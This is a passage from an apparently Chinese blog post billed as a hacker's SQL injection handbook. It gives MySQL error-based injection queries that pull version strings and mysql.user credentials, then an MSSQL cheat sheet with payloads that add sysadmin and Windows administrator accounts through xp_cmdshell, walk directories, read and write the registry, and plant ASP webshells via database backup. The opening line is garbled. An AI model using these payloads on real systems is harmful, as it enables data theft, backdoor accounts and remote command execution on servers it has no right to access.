    insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够

    执行!达到写表的效果,一步步达到我们想要的信息!

    这种报错注入主要基于Mysql数据类型溢出

        mysql > SELECT 18446744073709551610 * 2 ;

        ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'

        mysql > SELECT - 1 * 9223372036854775808 ;

        ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) *

    9223372036854775808)'

    查询数据库版本:

        mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,

    18446744073709551610));

        ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from

    Dual), 18446744073709551610.18446744073709551610))'

    获取字段名称:

        mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from

    test.shop limit 1), 18446744073709551610, 18446744073709551610);

        ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select

    `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS

    `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from

    `test`.`shop`) limit 1) > (select

    `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit

    1)),18446744073709551610,18446744073709551610))'

    获取字段值:

        mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <

    (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

    18446744073709551610, 18446744073709551610);

        ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select

    'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','

    Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1)

    <

    (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

    73709551610,18446744073709551610))'

    需要注意的是该方法并不适用于于老版的Mysql,除此之外你还需要了解错误信息的长度限制,因为这将决定

    你可以获取多长的信息:

        mysys / my_error.c

        /* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */

        #define ERRMSGSIZE (512)

    如果对象是MariaDB(Mysql的一个分支),当你尝试上面的方法时,你可能会看到这样的报错信息:

        mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

    18446744073709551610))

        ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select

    #),18446744073709551610,18446744073709551610))'

    作为解决方案,可以通过这种方式来解决这个问题:

        mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;

        ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -

    (9223372036854775808))'

    现在让我们看看能不能让我们的Vector更短一些

    //查询数据库版本

        SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

    18446744073709551610))

        =

        select 1E308*if((select*from(select version())x),2,2)

        SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a

        =

        select if(x,2,2)*1E308 from(select version()x)y

    //获取表字段名称

        SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from

    test.shop limit 1), 18446744073709551610, 18446744073709551610)

        =

        select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit

    1),2,2)

    //获取字段值

        SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <

    (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

    18446744073709551610, 18446744073709551610)

        =

        select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from

    mysql.user limit 0),2,2)

    //获取指定字段的值

        select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT

    1)a limit 1),2,2)

    //获取字段个数

        select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)

    其它的一些变形

        SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a

        select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT

    1)a limit 1),2,2);

        =>

        select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

    1),1e308,0);

        mysql> select (select * from mysql.user)=1;

        mysql> select (select * from mysql.user)in(1);

        ERROR 1241 (21000): Operand should contain 42 column(s)

        select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

    1),1e308,0);

        select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a

    limit 1),2,2)*1E308

        SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a

        select (x!=0x00)--9223372036854775808 from(SELECT version()x)y

        mysql> select!x-~0.FROM(select+user()x)f;

        ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~

    (0))'

    3.判断数据库系统

    ;and (select count(*) from sysobjects)>0 mssql

    ;and (select count(*) from msysobjects)>0 access

    4.注入参数是字符

    'and [查询条件] and ''='

    5.搜索时没过滤参数的

    'and [查询条件] and '%25'='

    6.猜数据库

    ;and (select Count(*) from [数据库名])>0

    7.猜字段

    ;and (select Count(字段名) from 数据库名)>0

    8.猜字段中记录长度

    ;and (select top 1 len(字段名) from 数据库名)>0

    9.(1)猜字段的ascii值(access)

    ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

    (2)猜字段的ascii值(mssql)

    ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

    10.测试权限结构(mssql)

    ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

    ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--

    ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

    ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

    ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

    ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

    ;and 1=(select IS_MEMBER('db_owner'));--

    11.添加mssql和系统的帐户

    ;exec master.dbo.sp_addlogin username;--

    ;exec master.dbo.sp_password null,username,password;--

    ;exec master.dbo.sp_addsrvrolemember sysadmin username;--

    ;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all

    /passwordchg:yes /passwordreq:yes /active:yes /add';--

    ;exec master.dbo.xp_cmdshell 'net user username password /add';--

    ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

    12.(1)遍历目录

    ;create table dirs(paths varchar(100), id int)

    ;insert dirs exec master.dbo.xp_dirtree 'c:\'

    ;and (select top 1 paths from dirs)>0

    ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

    (2)遍历目录

    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器

    ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表

    ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构

    ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

    13.mssql中的存储过程

    xp_regenumvalues 注册表根键, 子键

    ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多

    个记录集方式返回所有键值

    xp_regread 根键,子键,键值名

    ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

    \CurrentVersion','CommonFilesDir' 返回制定键的值

    xp_regwrite 根键,子键, 值名, 值类型, 值

    值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型

    ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

    \CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表

    xp_regdeletevalue 根键,子键,值名

    exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

    \CurrentVersion','TestvalueName' 删除某个值

    xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,

    包括该键下所有值

    14.mssql的backup创建webshell

    use model

    create table cmd(str image);

    insert into cmd(str) values ('<% Dim oscrip{过滤}t %>');

    backup database model to disk='c:\l.asp';

    15.mssql内置函数

    ;and (select @@version)>0 获得Windows的版本号

    ;and user_name()='dbo' 判断当前系统的连接用户是不是sa

    ;and (select user_name())>0 爆当前系统的连接用户

    ;and (select db_name())>0 得到当前连接的数据库

    16.简洁的webshell

    use model

    create table cmd(str image);

    insert into cmd(str) values ('<%=server.createobject("wscrip{过滤}t.shell").exec("cmd.exe /c

    "&request("c")).stdout.readall%>');

    backup database model to disk='g:\wwwtest\l.asp';

    请求的时候,像这样子用:

    http://ip/l.asp?c=dir

    ================================================================================================

    ================================================================================================

    ================================================================================================

    ================================================================================================

    ============================

    取得所有数据库名 包括系统数据库

    –SELECT name FROM master.dbo.sysdatabases

    取得所有非系统数据库名

    –select [name] from master.dbo.sysdatabases where DBId>6 Order By [Name]

    取所有信息,包括数据库文件地址

    –select * from master.dbo.sysdatabases where DBId>6 Order By

    [Name]

    该条语句查询返回所有的用户表

    select * from sysobjects where xtype='u'

    查询系统所有数据表信息

    select * from sysobject

    内容不全,分为下次发出来,见谅

    相关文章

      网友评论

        本文标题:【sql注入天书】黑客必学

        本文链接:https://www.haomeiwen.com/subject/btlhqqtx.html